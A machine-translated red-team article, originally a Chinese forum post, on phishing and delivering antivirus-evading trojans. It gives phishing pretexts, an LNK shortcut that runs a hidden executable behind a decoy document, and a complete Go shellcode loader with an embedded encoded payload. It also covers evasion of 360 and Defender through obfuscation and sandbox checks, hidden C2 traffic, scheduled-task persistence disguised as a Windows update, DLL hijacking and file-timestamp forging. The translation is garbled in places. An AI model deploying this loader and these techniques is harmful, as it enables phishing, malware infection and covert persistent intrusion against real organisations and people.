Оригинальная статья была впервые опубликована в: Сообщество наступления и защиты Цяньсинь.
https://forum.butian.net/share/2532
Заявление: Большинство статей в этом общедоступном аккаунте взяты из ежедневных учебных заметок автора, а некоторые статьи переизданы с разрешения автора и других белых списков общедоступного аккаунта. Несанкционированная перепечатка строго запрещена. Если вам необходимо перепечатать, свяжитесь с Kaibai. Пожалуйста, не используйте соответствующие технологии, описанные в статье, для участия в незаконном тестировании. Любые вытекающие из этого неблагоприятные последствия не имеют никакого отношения к автору статьи и этому публичному аккаунту. |
---|
Рыбалка - широко используемый метод в наступательных и оборонительных противостояниях.,Злоумышленники часто притворяются доверенными лицами,Пример нравиться Юридическое учреждение, компания или частное лицо,Чтобы вынудить жертв раскрыть конфиденциальную информацию илиосуществлять Вредоносная операция,Может быстро вскрыть раны цели.,Быстро войдите в интранет, чтобы очистить очки,При доставке троянов также необходимо учитывать возможность уклонения от обнаружения антивирусным программным обеспечением.,В этой статье основное внимание будет уделено некоторым распространенным методам. рыбалкии Разворачивается противостояние «троянского коня»
Рыбалка - широко используемый метод в наступательных и оборонительных противостояниях.,Злоумышленники часто притворяются доверенными лицами,Пример нравиться Юридическое учреждение, компания или частное лицо,Чтобы вынудить жертв раскрыть конфиденциальную информацию илиосуществлять Вредоносная операция,Может быстро вскрыть раны цели.,Быстро войдите в интранет, чтобы очистить очки,При доставке троянов также необходимо учитывать возможность уклонения от обнаружения антивирусным программным обеспечением.,В этой статье основное внимание будет уделено некоторым распространенным методам. рыбалкии Разворачивается противостояние «троянского коня»
https://app.snov.io/ http://www.skymem.info/
Вообще говоря, в корпоративных почтовых ящиках есть почтовые шлюзы, и доставка почты легко перехватывается при возврате, поэтому приходится выбирать частный ящик или ящик, не заблокированный почтовой службой:
нравиться
xxотчет,xxвербовка
Почтовый ящик для публики,Связанный синтаксис:
site:"xxx.com" отчет
site:"xxx.com" вербовка
xx компанияотчет @126.com
xx подбор компании @qq.com
hr、менеджер、финансы
Отдавайте приоритет людям со слабой осведомленностью о безопасности и заранее подготовьте несколько сценариев.Следите за актуальными темами,Используйте различные благотворительные мероприятия для привлечения кликов целевых пользователей.,Пучок
Конвертировать фишинговую ссылку в QR-код
отправлять
Отправляя резюме на прием на работу, HR не будет тщательно проверять суффиксы, столкнувшись с большим количеством резюме.
Не знаете, как написать текст о рыбалке? Это не имеет значения,Если его можно сгенерировать автоматически, не вводите его вручную.,здесь для нас
chatgpt
Большой брат добавляет куриные ножки
xxx сообщает о жалобах с настоящим именем. Обычно отзывы обрабатываются очень быстро.
scr、com
ждатьнравиться Если вы знаете, что на целевом устройстве не используется антивирусное программное обеспечение, такое как 360 Tianqing, вы можете использовать lnkдокумент для рыбалки (360 его перехватит)
Заполните целевое местоположение ярлыка:
%windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc && C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\fsx.exe"
Выбор пути замены значков:
C:\\Program Files (x86)\\Microsoft\\Edge\\Application
%SystemRoot%\\System32\\imageres.dll
%SystemRoot%\\System32\\shell32.dll
При запуске msgbox отображается запутанное содержимое, например «Файл поврежден».
реализация VBS
On Error Resume Next
WScript.Sleep 2000
msgbox «Если передний документ поврежден, смените инструмент, чтобы открыть его», 64, «Подсказка»
реализация кода Go
package main
import (
"github.com/gen2brain/dlgs"
)
func box() {
_, err := dlgs.Info("Подсказка", «Если документ поврежден, замените инструмент, чтобы открыть его»).
if err != nil {
panic(err)
}
}
Ощутите эффект
C:\Users\Public\Videos
Запустить в каталогеРеализация эффекта
Тип антивируса | Особенности антипрограммного обеспечения |
---|---|
Tinder | Существует множество ограничений на параметры компиляции.Он распознает характеристики хэша и строки.Он практически не проверяет и не уничтожает статические параметры, если они являются динамическими.Он также сообщает о вирусах при вызове некоторых библиотек go. |
360 | Убийственная сила 360 сама по себе не высока. После установки антивируса сын становится отцом, и убойная сила значительно увеличивается. Антивирус автоматически загрузит образец. Через некоторое время можно легко выйти в автономный режим. Рекомендуется использовать отдельный метод загрузки и использовать изолированный код, который продлевает время работы. |
360-градусный кристалл | После включения он мало повлияет на общую производительность уничтожения. Избегайте использования внедрения процесса для загрузки шеллкода. Вместо этого используйте плагин bof. |
Defender | Добавлены новые правила cobaltstrike. Рекомендуется использовать Stageless, что лучше, чем Stage. В версии 4.5 включен параметр Sleep_mask для улучшения возможности защиты от уничтожения. Он не очень хорошо обнаруживает большие файлы. |
Ниже приведен лишь базовый пример, который реализует только функции шифрования, дешифрования и загрузки.
Сначала используйте скрипт Python для шифрования payload.c
документ
import base64
originalShellcode = b"\xfc\xe8\x89\x00"
encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])
encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')
print(encodedShellcode)
ВыходсодержаниезаполнятьencryptedShellcode
компилировать
package main
import (
"encoding/base64"
"syscall"
"unsafe"
"github.com/lxn/win"
"golang.org/x/sys/windows"
)
func main() {
// проходить base64 и XOR Расшифровать shellcode содержание
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
encryptedShellcode := "iz/0k4efv3d3dzYmNiclJiE/RqUSP/wlFz/8JW8//CVXP/wFJz94wD09Oka+P0a320sWC3VbVza2vno2draVmiU2Jj/8JVf8NUs/dqcR9g9vfHUCBfz3/3d3dz/ytwMQP3anJ/w/bzP8N1c+dqeUIT+Ivjb8Q/8/dqE6Rr4/RrfbNra+ejZ2tk+XAoY7dDtTfzJOpgKvLzP8N1M+dqcRNvx7PzP8N2s+dqc2/HP/P3anNi82LykuLTYvNi42LT/0m1c2JYiXLzYuLT/8ZZ44iIiIKh13PskAHhkeGRIDdzYhPv6RO/6GNs07AFFwiKI/Rr4/RqU6Rrc6Rr42JzYnNs1NIQ7QiKKe5Hd3dy0//rY2z8x2d3c6Rr42JjYmHXQ2JjbNIP7osYiinA4sP/62P0alPv6vOka+JR93RbfzJSU2zZwiWUyIoj/+sT/0tCcdfSg//obNaHd3dx13H/dEd3c+/pc2znN3d3c2zQIx6fGIoj/+hj/+rT6wt4iIiIg6Rr4lJTbNWnFvDIii8rd48up2d3c/iLh48/t2d3ecxJ6Tdnd3n/WIiIhYBAMWAx4UWB0EWB0GAhIFDlpEWURZRVkEGx4aWRoeGVkdBHdhI6t+16t+1fOvaU170U01iyzbpfayy1/2ar3+Ctaxwg13pLfzUvyPdjEAdyIEEgVaNhASGQNNVzoYDR4bGxZYQllHV18gHhkTGAAETFciTFcgHhkTGAAEVzkjV0JZRkxXEhlaIiRMVwUBTUZZQFlCXlcwEhQcGFhFR0dDRkZHQFcxHgUSERgPWEZZR1dfFg9een138a3Jhf8SuTLptsakGlHpCzEfaWu1GBbwmbCC5spmVmyh80fqMODP2ALXgmypFSNWG7SVeI0OybyhAGGyF4I4kOtTOz1MqEL3Bv8empA2KC6kL9eYO3xP4ukic3tfP++yRqP8gYDC1Aq3kBknsTnkPu3RSJoVXLtaD3jO3ibMl+cBpDBioUbhePdlxTvlhD+OZ/NDXSwjf1y7hgK70678/6sPEZl2VdgAUuFa17KFDBoUq6Cq9OLDOu5GFZp42AYcsmoQmwd8Xnc2yYfC1SGIoj9Gvs13dzd3Ns93Z3d3Ns43d3d3Ns0v0ySSiKI/5CQkP/6QP/6GP/6tNs93V3d3Pv6ONs1l4f6ViKI/9LNX8rcDwRH8cD92tPK3AqAvLy8/cnd3d3cntJ8IioiIBBIFAR4UEloSAxMVQEMZEVpGREdAQEdHT0ZPWQQfWRYHHhAAWQMSGRQSGQMUBFkUGBp3coKWdw=="
decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
for i := 0; i < len(decodedShellcode); i++ {
decodedShellcode[i] ^= 0x77
}
// получать kernel32.dll в VirtualAlloc функция
kernel32, _ := syscall.LoadDLL("kernel32.dll")
VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")
// Выделяем память и пишем shellcode содержание
allocSize := uintptr(len(decodedShellcode))
mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
if mem == 0 {
panic("VirtualAlloc failed")
}
buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
copy(buffer, decodedShellcode)
// осуществлять shellcode
syscall.Syscall(mem, 0, 0, 0, 0)
}
Я бесстыден и пришел в Amway, чтобы запустить еще один проект на GitHub. Хм, если вы считаете, что он хорош, вы можете поставить ему звезду ⭐
Работа Ван Чао, мастера избегать убийств, https://github.com/wangfly-me/LoaderFly
Троян против убийств команды Qianji-Red создается автоматически https://github.com/Pizz33/Qianji
go:
-race Сборник обнаружения расы
-ldflags '-s -w' Удалить информацию о компиляции
-ldflags '-H windowsgui' Скрыть окно
искажение (библиотека путаницы):
-tiny Удалить дополнительную информацию
-literals запутанный текст
-seed=random Случайное начальное число в кодировке Base64
Например, для компиляции безвредного кода используйте -literals
Параметры, 360 по-прежнему будет сообщать о яде, если вы его не добавите, он не будет сообщать о яде.
package main
func main() {
// два числа, которые нужно умножить
num1 := 5
num2 := 3
result := 0
// Используйте цикл for для выполнения умножения
for i := 0; i < num2; i++ {
result += num1
}
}
-H windowsgui
Параметры также окажут большое влияние на иммунитет от убийств.,Если вам нужно скрыть черный ящик, вы можете использовать вместо него следующий код (но под win11 черный ящик все еще есть)
package main
import "github.com/lxn/win"
func main(){
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
}
func box()int{
FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole")
FreeConsole.Call()
return 0
}
func main() {
box()
перейти на низкую версию https://github.com/boy-hack/go-strip
перейти на высокую версию https://github.com/burrowers/garble
https://github.com/optiv/Mangle
Mangle.exe -I xxx.exe -M -O out.exe
Сравнивая до и после обработки mangle, можно обнаружить, что строка функции компиляции go заменяется случайными символами.
cmd := exec.Command("rundll32.exe", "xxx")
Ключевая строка закодирована Base64, а значение переменной заменяется в соответствующей позиции.
encodedCommand := "cnVuZGxsMzIuZXhl"
encodedArguments := "MTExTdGFydA=="
// Декодирование команд и параметров в кодировке Base64
decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand)
decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments)
cmd := exec.Command(string(decodedCommand), string(decodedArguments))
1. Чтобы добавить подпись к значку, сведения об авторских правах и другую информацию, вы можете использовать следующие элементы, чтобы добавить их одним щелчком мыши.
https://github.com/Pizz33/360QVM_bypass https://github.com/S9MF/my_script_tools/tree/main/360QVM_bypass-public https://github.com/langsasec/Sign-Sacker
Запустите, чтобы загрузить шеллкод напрямую, и обычно сообщите напрямую qvm.
package main
import (
"syscall"
"unsafe"
)
var (
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
func main() {
addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
Сначала выполните нормальное поведение, а затем загрузите шеллкод. qvm не сообщает о вирусах. Ниже приведен пример, который можно изменить в соответствии с реальной ситуацией.
package main
import (
"syscall"
"unsafe"
)
var (
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
func main() {
num1 := 5
num2 := 3
result := 0
// Используйте цикл for для выполнения умножения
for i := 0; i < num2; i++ {
result += num1
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
func san() {
url := "https://myip.ipip.net/"
resp, err := http.Get(url)
if err != nil {
os.Exit(1)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
os.Exit(1)
}
content := string(body)
if strings.Contains(content, "Китай") {
} else {
os.Exit(1)
}
}
func desktop() {
desktopPath, err := os.UserHomeDir()
if err != nil {
fmt.Println("Невозможно найти путь к рабочему столу пользователя:", err)
return
}
desktopPath = filepath.Join(desktopPath, "Desktop")
fileCount, err := countFilesInDir(desktopPath)
if err != nil {
fmt.Println("Невозможно прочитать список документов пользователя на рабочем столе:", err)
return
}
fmt.Println("Номер документа рабочего стола пользователя:", fileCount)
if fileCount < 7 {
os.Exit(0)
}
// Напишите здесь другую логику кода.
}
func CheckWeChatExist() {
k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)
if err != nil {
os.Exit(0)
}
defer k.Close()
s, _, err := k.GetStringValue("InstallDir")
if err != nil || s == "" {
os.Exit(0)
}
}
func sys() {
pageFilePath := "C:\\pagefile.sys"
_, err := os.Stat(pageFilePath)
if os.IsNotExist(err) {
os.Exit(1)
} else if err != nil {
} else {
}
}
func language() {
language := os.Getenv("LANG")
if strings.Contains(language, "en_US") {
os.Exit(0)
} else {
}
}
Сторону трафика можно замаскировать с помощью облачных функций или CDN. Для настройки обратитесь к онлайн-руководству. Я не буду здесь вдаваться в подробности. Вы можете обратиться к связанным проектам, но обратите внимание на настройки разрешений oss, чтобы вас не отслеживали.
https://github.com/9bie/oss-stinger https://github.com/pantom2077/alioss-stinger
Пользовательский профиль, который может быть сгенерирован случайным образом с использованием следующих элементов.
https://github.com/threatexpress/random_c2_profile
Обфускация памяти, динамическое шифрование и дешифрование памяти маяка, перезагрузка Ntdll и другие технологии, см. следующую статью.
https://www.freebuf.com/articles/system/361161.html https://idiotc4t.com/defense-evasion/load-ntdll-too
Выполнение конфиденциальных операций, таких как создание снимков экрана и создание изображений, непосредственно через cs может легко привести к отключению маяка. В этом случае вместо этого вы можете использовать bof. Вот несколько полезных функций:
Миграция процесса https://github.com/ajpc500/BOFs Скриншот https://github.com/baiyies/ScreenshotBOFPlus Удалить себя https://github.com/AgeloVito/self_delete_bof обойти повышение привилегий https://github.com/youcannotseemeagain/ele
Вы можете регулярно заходить на github, чтобы следить за некоторыми полезными новостями.
постоянные распоряжения Добавить запланированную задачу,Я не буду вдаваться в подробности реестра.,Существуют онлайн-уроки по командам.
в нападении и защите,Онлайн-машины всегда требуют ручной защиты прав, что слишком хлопотно.,Автоматическое добавление онлайн в код Добавить запланированную задача, проверка может Обход штатного антивирусного ПО
Частичный код реализации: https://github.com/capnspacehook/taskmaster
package main
import (
"os"
"github.com/capnspacehook/taskmaster"
)
func runWinTask(path string) {
// Создать начальную запланированную задачу
taskService, _ := taskmaster.Connect()
defer taskService.Disconnect()
// Определите новые запланированные задачи
newTaskDef := taskService.NewTaskDefinition()
// Добавьте путь к программе изучения
newTaskDef.AddAction(taskmaster.ExecAction{
Path: path,
})
// Определите запланированные задачиосуществлять时间ждать,Настроить запуск при загрузке
newTaskDef.AddTrigger(taskmaster.BootTrigger{
TaskTrigger: taskmaster.TaskTrigger{
Enabled: enable,
},
})
// Создать запланированную задачу
result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true)
result=result
}
func main() {
path, err := os.Executable()
if err != nil {
return
}
runWinTask(path)
}
Конкретные принципы можно найти в статье Master 0x727.
https://github.com/0x727/SchTask_0x727 https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html
%AppData%\Microsoft\Windows\Themes\
Наиболее часто используемые из них: C:\Program Files (x86)\Google\Update
когда GoogleUpdate.exe
Когда программа запущена, она вызывает файл в текущем каталоге. goopdate.dll
документ
одиночный поиск
https://github.com/wietze/windows-dll-hijacking
Пакетный поиск
https://github.com/knight0x07/ImpulsiveDLLHijack
ImpulsiveDLLHijack.exe -path xxx.exe
используется здесьnavicat
тест,Видно, что он будет загружаться при запускеC:\Users\xxx\AppData\Local\Programs\Python\Python38\Scripts\oci.dll
Когда мы загружаем троян cs на сервер,Поскольку дата модификации новая,Персонал синей команды легко поддается everything
Время проверки для устранения чрезвычайных ситуаций
На данный момент мы можем использовать некоторые методы, чтобы скрыть
https://github.com/MsF-NTDLL/ChTimeStamp
проходить Этот проект реализован Изменить время файл, сначала посмотрите на эффект предварительного просмотра
Проверить сетевую версию
shell reg query "HKLM\\Software\\Microsoft\\NET Framework Setup\\NDP" /s /v version | findstr /i version | sort /+26 /r
Нужно установить net3.5, но еще не установил
shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\\Users\\hack\\Desktop\\dotnetfx35.exe
DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\\sources\\sxs
https://github.com/MsF-NTDLL/ChTimeStamp
shell copy "C:\\Program Files\\Windows Defender\\MpClient.dll" C:\\Users\\Public\\AccountPictures\\MpClient.dll
shell C:\\Users\\Public\\AccountPictures\\ChTimeStamp.exe C:\\Users\\Public\\AccountPictures\\new\_msedge.exe C:\\Users\\Public\\AccountPictures\\MpClient.dll
https://github.com/sorabug/ChangeTimestamp
ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27